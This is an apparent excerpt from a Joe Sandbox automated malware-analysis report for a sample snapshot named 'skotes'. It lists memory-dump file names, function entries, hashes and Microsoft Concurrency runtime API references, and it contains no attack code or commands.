Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction ID: 3d584b486ff057d8be7ee54cc54cc0078f0edf684b82ae329a60ff30fea43bd1
Opcode Fuzzy Hash: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction Fuzzy Hash: 7BB19D70A00615EFDB18CF68D995BBAB7B6FF49301F18416DE906AB381D730A9C1CB90

Function 00611602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00612CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00611614

Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00612E39
Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00612EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00611746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006117A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006117B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006117ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0061180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0061181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00611823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0061183B

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 1edd5d5ffa1a39afd22e9f81d78168e926bcb848629e6685a364595eaa76b443
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 65817A71E002259FCB18CFA8C590AADB7F2FF49304B1982ADD545AB741C771AD92CBC4

Function 0061EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061EC81

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0061ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0061ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0061ED0C

Part of subcall function 0061E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Part of subcall function 0061E7AF: Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Part of subcall function 0061E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction ID: cc1927fd1a3b46e2289b28ef4838c653bb7e60a4a429e37950d91043376f1e64
Opcode Fuzzy Hash: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction Fuzzy Hash: C3516C31A002159BDF58DF50D895BEEB776AF84310F184068ED066B3E2CB71AE86CB91

Function 0060CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0060CBAA

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction ID: c6c79c0f896f775fa41841d170c0badf6cb6f467efde71b4e4199ecce8a36f98
Opcode Fuzzy Hash: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction Fuzzy Hash: B5B09232A1793047DB556B14BC1859F7B169B81A2230A2256D902A72B4CB605E824BD4

Function 0060DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction ID: 8510114bb0f051bb1315dcb32c033c5ef6e38359e4752a7ea1e1f6021a93bc3a
Opcode Fuzzy Hash: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction Fuzzy Hash: 8151B0B2A01706CBDB19CF98D8957AEB7F2FB48315F24866AD406EB394D374A940CF50

Function 0060F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0060F2BB

Strings

pEvents, xrefs: 0060F2B3

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
